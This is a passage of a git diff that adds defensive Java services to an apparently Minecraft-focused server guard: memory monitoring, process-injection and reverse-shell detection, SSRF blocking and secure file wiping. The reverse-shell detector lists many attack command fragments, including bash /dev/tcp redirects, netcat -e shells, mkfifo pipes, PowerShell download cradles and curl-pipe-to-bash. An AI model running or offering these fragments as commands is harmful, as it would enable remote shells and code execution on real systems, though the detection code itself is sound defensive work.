pair.substring(idx + 1)); + } + } + return map; + } + + public static class TokenEntry { + public final String subject; + public final String jti; + public final Instant issuedAt; + public final Instant expiresAt; + public final Map claims; + + TokenEntry(String subject, String jti, Instant issuedAt, Instant expiresAt, Map claims) { + this.subject = subject; + this.jti = jti; + this.issuedAt = issuedAt; + this.expiresAt = expiresAt; + this.claims = claims != null ? new HashMap<>(claims) : new HashMap<>(); + } + } + + public static class TokenValidationResult { + private final boolean valid; + private final String reason; + private final String subject; + private final String jti; + private final Map claims; + + private TokenValidationResult(boolean valid, String reason, String subject, String jti, Map claims) { + this.valid = valid; + this.reason = reason; + this.subject = subject; + this.jti = jti; + this.claims = claims; + } + + public static TokenValidationResult valid(String subject, String jti, Map claims) { + return new TokenValidationResult(true, null, subject, jti, claims); + } + + public static TokenValidationResult invalid(String reason) { + return new TokenValidationResult(false, reason, null, null, null); + } + + public boolean isValid() { return valid; } + public String getReason() { return reason; } + public String getSubject() { return subject; } + public String getJti() { return jti; } + public Map getClaims() { return claims; } + } +} diff --git a/src/main/java/com/aluer/security/MemoryProtectionService.java b/src/main/java/com/aluer/security/MemoryProtectionService.java new file mode 100644 index 0000000..0ad2a71 --- /dev/null +++ b/src/main/java/com/aluer/security/MemoryProtectionService.java @@ -0,0 +1,171 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.lang.management.ManagementFactory; +import java.lang.management.MemoryMXBean; +import java.lang.management.MemoryUsage; +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class MemoryProtectionService { + + private final MemoryMXBean memoryMXBean = ManagementFactory.getMemoryMXBean(); + private final ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); + private final Map> alerts = new ConcurrentHashMap<>(); + private final AtomicLong totalAlerts = new AtomicLong(0); + + private static final double HEAP_THRESHOLD = 0.85; + private static final double NON_HEAP_THRESHOLD = 0.90; + private static final double GC_OVERHEAD_THRESHOLD = 0.15; + private static final long MEMORY_CHECK_INTERVAL_SECONDS = 30; + + private long lastGcCount; + private long lastGcTime; + + public MemoryProtectionService() { + lastGcCount = ManagementFactory.getGarbageCollectorMXBeans().stream() + .mapToLong(gc -> gc.getCollectionCount()).sum(); + lastGcTime = ManagementFactory.getGarbageCollectorMXBeans().stream() + .mapToLong(gc -> gc.getCollectionTime()).sum(); + scheduler.scheduleAtFixedRate(this::checkMemory, MEMORY_CHECK_INTERVAL_SECONDS, + MEMORY_CHECK_INTERVAL_SECONDS, TimeUnit.SECONDS); + } + + public MemoryCheckResult checkMemory() { + List warnings = new ArrayList<>(); + + MemoryUsage heap = memoryMXBean.getHeapMemoryUsage(); + double heapRatio = (double) heap.getUsed() / heap.getMax(); + if (heapRatio > HEAP_THRESHOLD) { + warnings.add("HEAP_HIGH: " + String.format("%.1f%%", heapRatio * 100)); + MemoryAlert alert = new MemoryAlert(Instant.now(), "HEAP_HIGH", + String.format("Heap at %.1f%% (used=%dMB, max=%dMB)", heapRatio * 100, + heap.getUsed() / 1024 / 1024, heap.getMax() / 1024 / 1024)); + alerts.computeIfAbsent("heap", k -> new ArrayList<>()).add(alert); + totalAlerts.incrementAndGet(); + } + + MemoryUsage nonHeap = memoryMXBean.getNonHeapMemoryUsage(); + double nonHeapRatio = (double) nonHeap.getUsed() / nonHeap.getMax(); + if (nonHeapRatio > NON_HEAP_THRESHOLD) { + warnings.add("NON_HEAP_HIGH: " + String.format("%.1f%%", nonHeapRatio * 100)); + } + + long currentGcCount = ManagementFactory.getGarbageCollectorMXBeans().stream() + .mapToLong(gc -> gc.getCollectionCount()).sum(); + long currentGcTime = ManagementFactory.getGarbageCollectorMXBeans().stream() + .mapToLong(gc -> gc.getCollectionTime()).sum(); + long gcCountDiff = currentGcCount - lastGcCount; + long gcTimeDiff = currentGcTime - lastGcTime; + + if (gcTimeDiff > MEMORY_CHECK_INTERVAL_SECONDS * 1000 * GC_OVERHEAD_THRESHOLD) { + warnings.add("GC_OVERHEAD: " + gcTimeDiff + "ms spent in GC"); + MemoryAlert alert = new MemoryAlert(Instant.now(), "GC_OVERHEAD", + String.format("GC overhead: %dms (%d collections)", gcTimeDiff, gcCountDiff)); + alerts.computeIfAbsent("gc", k -> new ArrayList<>()).add(alert); + totalAlerts.incrementAndGet(); + } + lastGcCount = currentGcCount; + lastGcTime = currentGcTime; + + // Check for memory leak patterns (steady increase without decrease) + String leakPattern = detectLeakPattern(); + if (leakPattern != null) { + warnings.add("MEMORY_LEAK: " + leakPattern); + } + + return new MemoryCheckResult( + heapRatio, nonHeapRatio, heap.getUsed() / 1024 / 1024, + heap.getMax() / 1024 / 1024, gcCountDiff, gcTimeDiff, warnings); + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + MemoryUsage heap = memoryMXBean.getHeapMemoryUsage(); + status.put("heapUsedMB", heap.getUsed() / 1024 / 1024); + status.put("heapMaxMB", heap.getMax() / 1024 / 1024); + status.put("heapRatio", String.format("%.1f%%", (double) heap.getUsed() / heap.getMax() * 100)); + status.put("nonHeapUsedMB", memoryMXBean.getNonHeapMemoryUsage().getUsed() / 1024 / 1024); + status.put("totalAlerts", totalAlerts.get()); + status.put("leakDetected", detectLeakPattern() != null); + return status; + } + + public long getTotalAlerts() { return totalAlerts.get(); } + + public void forceGC() { + System.gc(); + } + + private String detectLeakPattern() { + List heapAlerts = alerts.get("heap"); + if (heapAlerts == null || heapAlerts.size() < 5) return null; + boolean trending = true; + double prev = 0; + int consecutive = 0; + for (int i = Math.max(0, heapAlerts.size() - 10); i < heapAlerts.size(); i++) { + double current = extractHeapPercent(heapAlerts.get(i).message); + if (current >= prev) consecutive++; + else consecutive = 0; + if (consecutive >= 5) return "Heap usage consistently increasing over 5+ checks"; + prev = current; + } + return null; + } + + private double extractHeapPercent(String message) { + try { + String pct = message.replaceAll(".*?(\\d+\\.?\\d*)%.*", "$1"); + return Double.parseDouble(pct); + } catch (Exception e) { + return 0; + } + } + + private static class MemoryAlert { + final Instant timestamp; + final String type; + final String message; + + MemoryAlert(Instant timestamp, String type, String message) { + this.timestamp = timestamp; + this.type = type; + this.message = message; + } + } + + public static class MemoryCheckResult { + private final double heapRatio; + private final double nonHeapRatio; + private final long heapUsedMB; + private final long heapMaxMB; + private final long gcCount; + private final long gcTimeMs; + private final List warnings; + + MemoryCheckResult(double heapRatio, double nonHeapRatio, long heapUsedMB, long heapMaxMB, + long gcCount, long gcTimeMs, List warnings) { + this.heapRatio = heapRatio; + this.nonHeapRatio = nonHeapRatio; + this.heapUsedMB = heapUsedMB; + this.heapMaxMB = heapMaxMB; + this.gcCount = gcCount; + this.gcTimeMs = gcTimeMs; + this.warnings = warnings; + } + + public double getHeapRatio() { return heapRatio; } + public long getHeapUsedMB() { return heapUsedMB; } + public long getHeapMaxMB() { return heapMaxMB; } + public long getGcTimeMs() { return gcTimeMs; } + public List getWarnings() { return warnings; } + public boolean hasWarnings() { return !warnings.isEmpty(); } + } +} diff --git a/src/main/java/com/aluer/security/ProcessInjectionDetectionService.java b/src/main/java/com/aluer/security/ProcessInjectionDetectionService.java new file mode 100644 index 0000000..047969a --- /dev/null +++ b/src/main/java/com/aluer/security/ProcessInjectionDetectionService.java @@ -0,0 +1,223 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class ProcessInjectionDetectionService { + + private final Map processBaseline = new ConcurrentHashMap<>(); + private final Map> detections = new ConcurrentHashMap<>(); + private final ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); + private final AtomicLong totalDetections = new AtomicLong(0); + + private static final Set SUSPICIOUS_THREADS = Set.of( + "ptrace", "process_vm_writev", "memfd_create", + "dlopen", "dlsym", "mmap", "mprotect" + ); + + private static final Set INJECTION_INDICATORS = Set.of( + "/proc/self/mem", "/proc/self/maps", "LD_PRELOAD", + "DYLD_INSERT_LIBRARIES", "gdb", "strace", "ltrace", + "ollydbg", "x64dbg", "windbg" + ); + + public ProcessInjectionDetectionService() { + captureBaseline(); + scheduler.scheduleAtFixedRate(this::scanProcesses, 60, 120, TimeUnit.SECONDS); + } + + public InjectionCheckResult scanProcesses() { + List alerts = new ArrayList<>(); + Map current = captureProcessSnapshots(); + + for (Map.Entry entry : current.entrySet()) { + int pid = entry.getKey(); + ProcessSnapshot snapshot = entry.getValue(); + ProcessSnapshot baseline = processBaseline.get(pid); + + if (baseline != null) { + // Check for new threads (possible injection) + if (snapshot.threadCount > baseline.threadCount * 1.5 && snapshot.threadCount > 50) { + alerts.add("PID " + pid + " thread spike: " + baseline.threadCount + " -> " + snapshot.threadCount); + } + + // Check for new memory mappings + Set newMappings = new HashSet<>(snapshot.memoryMaps); + newMappings.removeAll(baseline.memoryMaps); + for (String mapping : newMappings) { + for (String indicator : INJECTION_INDICATORS) { + if (mapping.toLowerCase().contains(indicator.toLowerCase())) { + alerts.add("PID " + pid + " suspicious mapping: " + mapping); + } + } + } + + // Check for new open files + Set newFds = new HashSet<>(snapshot.openFds); + newFds.removeAll(baseline.openFds); + if (newFds.size() > 100) { + alerts.add("PID " + pid + " fd spike: +" + newFds.size()); + } + } + + // Check for Minecraft-specific injection patterns + if (snapshot.processName.toLowerCase().contains("java") && isMinecraftProcess(snapshot)) { + for (String mapping : snapshot.memoryMaps) { + if (mapping.contains(".so") && !mapping.contains("/usr/lib") && !mapping.contains("/lib64") + && !mapping.contains("jdk") && !mapping.contains("jre")) { + alerts.add("PID " + pid + " non-standard native lib: " + mapping); + } + } + } + } + + if (!alerts.isEmpty()) { + InjectionEvent event = new InjectionEvent(Instant.now(), alerts); + detections.computeIfAbsent("process", k -> new ArrayList<>()).add(event); + totalDetections.addAndGet(alerts.size()); + } + + processBaseline.clear(); + processBaseline.putAll(current); + + return new InjectionCheckResult(alerts, current.size(), totalDetections.get()); + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("totalDetections", totalDetections.get()); + status.put("trackedProcesses", processBaseline.size()); + List> recent = new ArrayList<>(); + for (Map.Entry> e : detections.entrySet()) { + for (InjectionEvent event : e.getValue()) { + Map m = new LinkedHashMap<>(); + m.put("alerts", event.alerts); + m.put("time", event.timestamp.toString()); + recent.add(m); + } + } + recent.sort((a, b) -> b.get("time").toString().compareTo(a.get("time").toString())); + status.put("recentDetections", recent.subList(0, Math.min(recent.size(), 10))); + return status; + } + + public long getTotalDetections() { return totalDetections.get(); } + + private void captureBaseline() { + processBaseline.putAll(captureProcessSnapshots()); + } + + private Map captureProcessSnapshots() { + Map snapshots = new LinkedHashMap<>(); + try { + Process proc = Runtime.getRuntime().exec(new String[]{"sh", "-c", "ps -eo pid,comm,nlwp"}); + try (BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()))) { + String line; + reader.readLine(); // skip header + while ((line = reader.readLine()) != null) { + line = line.trim(); + if (line.isEmpty()) continue; + String[] parts = line.trim().split("\\s+", 3); + if (parts.length >= 3) { + try { + int pid = Integer.parseInt(parts[0]); + String name = parts[1]; + int threads = Integer.parseInt(parts[2]); + Set maps = readProcMaps(pid); + Set fds = readProcFds(pid); + snapshots.put(pid, new ProcessSnapshot(pid, name, threads, maps, fds)); + } catch (NumberFormatException ignored) {} + } + } + } + } catch (Exception ignored) {} + return snapshots; + } + + private Set readProcMaps(int pid) { + Set maps = new HashSet<>(); + try (BufferedReader reader = new BufferedReader( + new InputStreamReader(Runtime.getRuntime().exec(new String[]{"cat", "/proc/" + pid + "/maps"}).getInputStream()))) { + String line; + while ((line = reader.readLine()) != null) { + if (line.contains("/")) { + maps.add(line.substring(line.lastIndexOf('/'))); + } + } + } catch (Exception ignored) {} + return maps; + } + + private Set readProcFds(int pid) { + Set fds = new HashSet<>(); + try { + Process proc = Runtime.getRuntime().exec(new String[]{"ls", "/proc/" + pid + "/fd/"}); + try (BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()))) { + String line; + while ((line = reader.readLine()) != null) { + fds.add(line.trim()); + } + } + } catch (Exception ignored) {} + return fds; + } + + private boolean isMinecraftProcess(ProcessSnapshot snapshot) { + return snapshot.processName.contains("paper") || snapshot.processName.contains("spigot") + || snapshot.processName.contains("bukkit") || snapshot.processName.contains("minecraft") + || snapshot.processName.contains("serverguard") || snapshot.processName.contains("aluer"); + } + + private static class ProcessSnapshot { + final int pid; + final String processName; + final int threadCount; + final Set memoryMaps; + final Set openFds; + + ProcessSnapshot(int pid, String processName, int threadCount, Set memoryMaps, Set openFds) { + this.pid = pid; + this.processName = processName; + this.threadCount = threadCount; + this.memoryMaps = memoryMaps; + this.openFds = openFds; + } + } + + private static class InjectionEvent { + final Instant timestamp; + final List alerts; + + InjectionEvent(Instant timestamp, List alerts) { + this.timestamp = timestamp; + this.alerts = alerts; + } + } + + public static class InjectionCheckResult { + private final List alerts; + private final int processCount; + private final long totalDetections; + + InjectionCheckResult(List alerts, int processCount, long totalDetections) { + this.alerts = alerts; + this.processCount = processCount; + this.totalDetections = totalDetections; + } + + public List getAlerts() { return alerts; } + public int getProcessCount() { return processCount; } + public long getTotalDetections() { return totalDetections; } + public boolean hasAlerts() { return !alerts.isEmpty(); } + } +} diff --git a/src/main/java/com/aluer/security/ReverseShellDetectionService.java b/src/main/java/com/aluer/security/ReverseShellDetectionService.java new file mode 100644 index 0000000..7311a85 --- /dev/null +++ b/src/main/java/com/aluer/security/ReverseShellDetectionService.java @@ -0,0 +1,211 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class ReverseShellDetectionService { + + private final Map> detections = new ConcurrentHashMap<>(); + private final ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); + private final AtomicLong totalDetections = new AtomicLong(0); + + // Reverse shell command patterns + private static final List REVERSE_SHELL_PATTERNS = List.of( + "bash -i >& /dev/tcp/", + "bash -i &>/dev/tcp/", + "/dev/tcp/", + "nc -e /bin/", + "nc -e /bin/bash", + "nc -e /bin/sh", + "nc -c /bin/", + "ncat -e /bin/", + "rm /tmp/f;mkfifo /tmp/f", + "mknod /tmp/f p", + "python -c 'import socket", + "python -c 'import os,pty,socket", + "python -c \"import socket", + "python3 -c 'import socket", + "perl -e 'use Socket", + "ruby -rsocket -e", + "php -r '$sock=fsockopen", + "lua -e \"local s=require('socket')", + "exec 5<>/dev/tcp/", + "sh -i >& /dev/udp/", + "sh -i >& /dev/tcp/", + "zsh -c 'zmodload zsh/net/tcp", + "socat exec:'bash -li'", + "socat exec:'sh -i'", + "socat tcp-connect:", + "telnet ", + "xterm -display ", + "powershell -NoP -NonI -W Hidden -Exec Bypass", + "powershell -nop -c \"$client = New-Object", + "powershell IEX (New-Object Net.WebClient)", + "Invoke-Expression (New-Object Net.WebClient)", + "IEX(New-Object Net.WebClient)", + "msfvenom", + "meterpreter", + "java -jar ysoserial", + "wget http://.* -O /tmp/", + "curl http://.* -o /tmp/", + "wget http://.* | sh", + "curl http://.* | bash" + ); + + // Process-level indicators + private static final List SHELL_PROCESS_INDICATORS = List.of( + "nc ", "ncat ", "netcat", "socat", "bash -i", "sh -i", + "/dev/tcp/", "/dev/udp/", "mkfifo", "mknod" + ); + + public ReverseShellDetectionService() { + scheduler.scheduleAtFixedRate(this::cleanupOldDetections, 300, 600, TimeUnit.SECONDS); + } + + public DetectionResult scanCommand(String command, String user, String source) { + if (command == null) return DetectionResult.clean(); + + String lower = command.toLowerCase().trim(); + List matched = new ArrayList<>(); + + for (String pattern : REVERSE_SHELL_PATTERNS) { + if (lower.contains(pattern.toLowerCase())) { + matched.add(pattern); + } + } + + if (!matched.isEmpty()) { + ShellDetectionEvent event = new ShellDetectionEvent( + Instant.now(), user, source, command, matched, + ShellSeverity.CRITICAL + ); + detections.computeIfAbsent(source, k -> new ArrayList<>()).add(event); + totalDetections.incrementAndGet(); + return DetectionResult.threat("Reverse shell command detected", matched, ShellSeverity.CRITICAL); + } + + // Check for encoded/obfuscated commands + if (isObfuscatedShellCommand(lower)) { + ShellDetectionEvent event = new ShellDetectionEvent( + Instant.now(), user, source, command, List.of("OBFUSCATED"), + ShellSeverity.HIGH + ); + detections.computeIfAbsent(source, k -> new ArrayList<>()).add(event); + totalDetections.incrementAndGet(); + return DetectionResult.threat("Potentially obfuscated reverse shell command", List.of("OBFUSCATED"), ShellSeverity.HIGH); + } + + return DetectionResult.clean(); + } + + public DetectionResult scanProcess(String processLine) { + if (processLine == null) return DetectionResult.clean(); + + String lower = processLine.toLowerCase(); + for (String indicator : SHELL_PROCESS_INDICATORS) { + if (lower.contains(indicator.toLowerCase())) { + return DetectionResult.threat("Suspicious process: " + indicator, List.of(indicator), ShellSeverity.MEDIUM); + } + } + return DetectionResult.clean(); + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("totalDetections", totalDetections.get()); + status.put("trackedSources", detections.size()); + + List> recent = new ArrayList<>(); + for (Map.Entry> entry : detections.entrySet()) { + for (ShellDetectionEvent event : entry.getValue()) { + Map e = new LinkedHashMap<>(); + e.put("source", entry.getKey()); + e.put("user", event.user); + e.put("time", event.timestamp.toString()); + e.put("patterns", event.matchedPatterns); + e.put("severity", event.severity.name()); + e.put("command", event.command.length() > 100 ? event.command.substring(0, 100) + "..." : event.command); + recent.add(e); + } + } + recent.sort((a, b) -> b.get("time").toString().compareTo(a.get("time").toString())); + status.put("recentDetections", recent.subList(0, Math.min(recent.size(), 20))); + return status; + } + + public long getTotalDetections() { return totalDetections.get(); } + + private boolean isObfuscatedShellCommand(String command) { + int indicators = 0; + if (command.contains("base64") && (command.contains("-d") || command.contains("--decode"))) indicators++; + if (command.contains("eval") || command.contains("exec")) indicators++; + if (command.contains("$(") || command.contains("`")) indicators++; + if (command.contains("socket") || command.contains("connect")) indicators++; + if (command.contains("subprocess") || command.contains("os.system")) indicators++; + return indicators >= 3; + } + + private void cleanupOldDetections() { + Instant cutoff = Instant.now().minusSeconds(86400); + detections.entrySet().removeIf(e -> { + e.getValue().removeIf(d -> d.timestamp.isBefore(cutoff)); + return e.getValue().isEmpty(); + }); + } + + public enum ShellSeverity { LOW, MEDIUM, HIGH, CRITICAL } + + public static class ShellDetectionEvent { + public final Instant timestamp; + public final String user; + public final String source; + public final String command; + public final List matchedPatterns; + public final ShellSeverity severity; + + ShellDetectionEvent(Instant timestamp, String user, String source, String command, + List matchedPatterns, ShellSeverity severity) { + this.timestamp = timestamp; + this.user = user; + this.source = source; + this.command = command; + this.matchedPatterns = matchedPatterns; + this.severity = severity; + } + } + + public static class DetectionResult { + private final boolean threat; + private final String message; + private final List matchedPatterns; + private final ShellSeverity severity; + + private DetectionResult(boolean threat, String message, List matchedPatterns, ShellSeverity severity) { + this.threat = threat; + this.message = message; + this.matchedPatterns = matchedPatterns; + this.severity = severity; + } + + public static DetectionResult clean() { + return new DetectionResult(false, null, List.of(), ShellSeverity.LOW); + } + + public static DetectionResult threat(String message, List matchedPatterns, ShellSeverity severity) { + return new DetectionResult(true, message, matchedPatterns, severity); + } + + public boolean isThreat() { return threat; } + public String getMessage() { return message; } + public List getMatchedPatterns() { return matchedPatterns; } + public ShellSeverity getSeverity() { return severity; } + } +} diff --git a/src/main/java/com/aluer/security/SSRFProtectionService.java b/src/main/java/com/aluer/security/SSRFProtectionService.java new file mode 100644 index 0000000..7cc4421 --- /dev/null +++ b/src/main/java/com/aluer/security/SSRFProtectionService.java @@ -0,0 +1,199 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.net.*; +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class SSRFProtectionService { + + private final Map> detections = new ConcurrentHashMap<>(); + private final AtomicLong totalBlocked = new AtomicLong(0); + + private static final Set BLOCKED_SCHEMES = Set.of( + "file", "gopher", "dict", "ftp", "ldap", "ldaps", "jar", "netdoc", "php", "tftp" + ); + + private static final Set INTERNAL_IPS = Set.of( + "127.0.0.1", "0.0.0.0", "localhost", "::1", "[::1]", + "169.254.169.254", "100.64.0.0", "198.18.0.0", "198.19.0.0" + ); + + private static final List INTERNAL_CIDRS = List.of( + "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "0.0.0.0/8", + "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "240.0.0.0/4" + ); + + private static final Set METADATA_PATHS = Set.of( + "/latest/meta-data", "/latest/user-data", "/metadata", "/instance-identity", + "/computeMetadata/v1", "/iam/security-credentials", "/opc/v1/instance", + "/latest/dynamic", "/latest/api/token", "/a/b/c/meta-data" + ); + + private static final Set BLOCKED_HOSTS = Set.of( + "metadata.google.internal", "metadata.tencentyun.com", "100.100.100.200", + "metadata.alibabacloud.com", "169.254.169.254" + ); + + public SSRFCheckResult checkURL(String url, String sourceIP) { + if (url == null || url.trim().isEmpty()) return SSRFCheckResult.clean(); + + List reasons = new ArrayList<>(); + + try { + URI uri = new URI(url.trim()); + + // Check scheme + String scheme = uri.getScheme(); + if (scheme != null && BLOCKED_SCHEMES.contains(scheme.toLowerCase())) { + reasons.add("BLOCKED_SCHEME: " + scheme); + } + + // Check host + String host = uri.getHost(); + if (host == null) { + reasons.add("NULL_HOST"); + } else { + // Direct internal IPs + if (INTERNAL_IPS.contains(host.toLowerCase())) { + reasons.add("INTERNAL_HOST: " + host); + } + + // Blocked hostnames + if (BLOCKED_HOSTS.contains(host.toLowerCase())) { + reasons.add("BLOCKED_CLOUD_METADATA: " + host); + } + + // DNS rebinding check: host containing "127.0.0.1" or similar + try { + InetAddress addr = InetAddress.getByName(host); + String ip = addr.getHostAddress(); + if (isInternalIP(ip)) { + reasons.add("RESOLVES_TO_INTERNAL: " + host + " -> " + ip); + } + } catch (UnknownHostException ignored) {} + + // IP in hostname + if (host.matches("\\d+\\.\\d+\\.\\d+\\.\\d+") && isInternalIP(host)) { + reasons.add("INTERNAL_IP_DIRECT: " + host); + } + } + + // Check path for metadata endpoints + String path = uri.getPath(); + if (path != null) { + for (String metaPath : METADATA_PATHS) { + if (path.toLowerCase().contains(metaPath.toLowerCase())) { + reasons.add("CLOUD_METADATA_PATH: " + path); + break; + } + } + } + + // Check for URL-encoded internal IPs + String decoded = url.toLowerCase(); + if (decoded.contains("%31%32%37") || decoded.contains("127%2e") || decoded.contains("localhost")) { + reasons.add("ENCODED_INTERNAL_IP"); + } + + // Decimal/octal IP bypass + if (host != null && host.matches("\\d{8,12}")) { + try { + long decimal = Long.parseLong(host); + String resolved = ((decimal >> 24) & 0xFF) + "." + ((decimal >> 16) & 0xFF) + "." + + ((decimal >> 8) & 0xFF) + "." + (decimal & 0xFF); + if (isInternalIP(resolved)) { + reasons.add("DECIMAL_IP_BYPASS: " + host + " -> " + resolved); + } + } catch (NumberFormatException ignored) {} + } + + } catch (URISyntaxException e) { + reasons.add("INVALID_URI: " + e.getMessage()); + } + + if (!reasons.isEmpty()) { + SSRFEvent event = new SSRFEvent(Instant.now(), sourceIP, url, reasons); + detections.computeIfAbsent(sourceIP, k -> new ArrayList<>()).add(event); + totalBlocked.incrementAndGet(); + return SSRFCheckResult.blocked(reasons); + } + + return SSRFCheckResult.clean(); + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("totalBlocked", totalBlocked.get()); + status.put("trackedSources", detections.size()); + List> recent = new ArrayList<>(); + for (Map.Entry> e : detections.entrySet()) { + for (SSRFEvent event : e.getValue()) { + Map m = new LinkedHashMap<>(); + m.put("source", e.getKey()); + m.put("url", event.url.length() > 80 ? event.url.substring(0, 80) : event.url); + m.put("reasons", event.reasons); + m.put("time", event.timestamp.toString()); + recent.add(m); + } + } + recent.sort((a, b) -> b.get("time").toString().compareTo(a.get("time").toString())); + status.put("recentDetections", recent.subList(0, Math.min(recent.size(), 20))); + return status; + } + + public long getTotalBlocked() { return totalBlocked.get(); } + + private boolean isInternalIP(String ip) { + try { + String[] parts = ip.split("\\."); + if (parts.length != 4) return false; + int first = Integer.parseInt(parts[0]); + int second = Integer.parseInt(parts[1]); + if (first == 10) return true; + if (first == 127) return true; + if (first == 169 && second == 254) return true; + if (first == 172 && second >= 16 && second <= 31) return true; + if (first == 192 && second == 168) return true; + if (first == 0) return true; + if (first >= 224 && first <= 255) return true; + return false; + } catch (NumberFormatException e) { + return false; + } + } + + private static class SSRFEvent { + final Instant timestamp; + final String sourceIP; + final String url; + final List reasons; + + SSRFEvent(Instant timestamp, String sourceIP, String url, List reasons) { + this.timestamp = timestamp; + this.sourceIP = sourceIP; + this.url = url; + this.reasons = reasons; + } + } + + public static class SSRFCheckResult { + private final boolean blocked; + private final List reasons; + + private SSRFCheckResult(boolean blocked, List reasons) { + this.blocked = blocked; + this.reasons = reasons; + } + + public static SSRFCheckResult clean() { return new SSRFCheckResult(false, List.of()); } + public static SSRFCheckResult blocked(List reasons) { return new SSRFCheckResult(true, reasons); } + + public boolean isBlocked() { return blocked; } + public List getReasons() { return reasons; } + } +} diff --git a/src/main/java/com/aluer/security/SecureFileDeletionService.java b/src/main/java/com/aluer/security/SecureFileDeletionService.java new file mode 100644 index 0000000..33672e7 --- /dev/null +++ b/src/main/java/com/aluer/security/SecureFileDeletionService.java @@ -0,0 +1,205 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.io.File; +import java.io.RandomAccessFile; +import java.security.SecureRandom; +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class SecureFileDeletionService { + + private final SecureRandom secureRandom = new SecureRandom(); + private final Map deletionLog = new ConcurrentHashMap<>(); + private final AtomicLong totalFilesDeleted = new AtomicLong(0); + private final AtomicLong totalBytesWiped = new AtomicLong(0); + + private static final int DEFAULT_PASSES = 3; + private static final int MAX_PASSES = 7; + private static final int BUFFER_SIZE = 8192; + + public DeletionResult secureDelete(String filePath, int passes) { + File file = new File(filePath); + if (!file.exists()) { + return DeletionResult.error("File does not exist: " + filePath); + } + if (!file.isFile()) { + return DeletionResult.error("Not a file: " + filePath); + } + if (!file.canWrite()) { + return DeletionResult.error("File not writable: " + filePath); + } + + int effectivePasses = Math.min(Math.max(passes, 1), MAX_PASSES); + long fileSize = file.length(); + long bytesWritten = 0; + + try { + for (int pass = 0; pass < effectivePasses; pass++) { + try (RandomAccessFile raf = new RandomAccessFile(file, "rws")) { + long remaining = fileSize; + byte[] buffer = new byte[BUFFER_SIZE]; + + while (remaining > 0) { + int writeSize = (int) Math.min(remaining, BUFFER_SIZE); + // Pass 0: zero-fill, Pass 1: random, Pass 2+: alternating patterns + if (pass == 0) { + Arrays.fill(buffer, 0, writeSize, (byte) 0); + } else if (pass == 1) { + secureRandom.nextBytes(buffer); + } else if (pass % 2 == 0) { + Arrays.fill(buffer, 0, writeSize, (byte) 0xFF); + } else { + Arrays.fill(buffer, 0, writeSize, (byte) 0xAA); + } + raf.write(buffer, 0, writeSize); + remaining -= writeSize; + bytesWritten += writeSize; + } + } + // Sync to disk + try (RandomAccessFile raf = new RandomAccessFile(file, "rws")) { + raf.getFD().sync(); + } + } + + // Truncate to 0 before deleting + try (RandomAccessFile raf = new RandomAccessFile(file, "rws")) { + raf.setLength(0); + } + + // Delete the file + if (!file.delete()) { + file.deleteOnExit(); + return DeletionResult.warning("File wiped but could not be immediately deleted: " + filePath); + } + + DeletionRecord record = new DeletionRecord(filePath, fileSize, effectivePasses, Instant.now()); + deletionLog.put(filePath, record); + totalFilesDeleted.incrementAndGet(); + totalBytesWiped.addAndGet(bytesWritten); + + return DeletionResult.success(filePath, fileSize, effectivePasses); + + } catch (Exception e) { + return DeletionResult.error("Secure deletion failed: " + e.getMessage()); + } + } + + public DeletionResult secureDelete(String filePath) { + return secureDelete(filePath, DEFAULT_PASSES); + } + + public DeletionResult secureDeleteDirectory(String dirPath, int passes) { + File dir = new File(dirPath); + if (!dir.exists() || !dir.isDirectory()) { + return DeletionResult.error("Not a directory: " + dirPath); + } + + List failedFiles = new ArrayList<>(); + long totalSize = 0; + int count = 0; + + File[] files = dir.listFiles(); + if (files != null) { + for (File file : files) { + if (file.isDirectory()) { + DeletionResult subResult = secureDeleteDirectory(file.getAbsolutePath(), passes); + count += subResult.filesDeleted; + totalSize += subResult.bytesWiped; + failedFiles.addAll(subResult.failedFiles); + } else { + DeletionResult result = secureDelete(file.getAbsolutePath(), passes); + if (result.success) { + count++; + totalSize += result.bytesWiped; + } else { + failedFiles.add(file.getAbsolutePath()); + } + } + } + } + + dir.delete(); + + return new DeletionResult(true, count, totalSize, dirPath, failedFiles, null); + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("totalFilesDeleted", totalFilesDeleted.get()); + status.put("totalBytesWiped", totalBytesWiped.get()); + List> recent = new ArrayList<>(); + for (Map.Entry e : deletionLog.entrySet()) { + DeletionRecord r = e.getValue(); + Map m = new LinkedHashMap<>(); + m.put("path", r.path); + m.put("size", r.fileSize); + m.put("passes", r.passes); + m.put("time", r.timestamp.toString()); + recent.add(m); + } + recent.sort((a, b) -> b.get("time").toString().compareTo(a.get("time").toString())); + status.put("recentDeletions", recent.subList(0, Math.min(recent.size(), 20))); + return 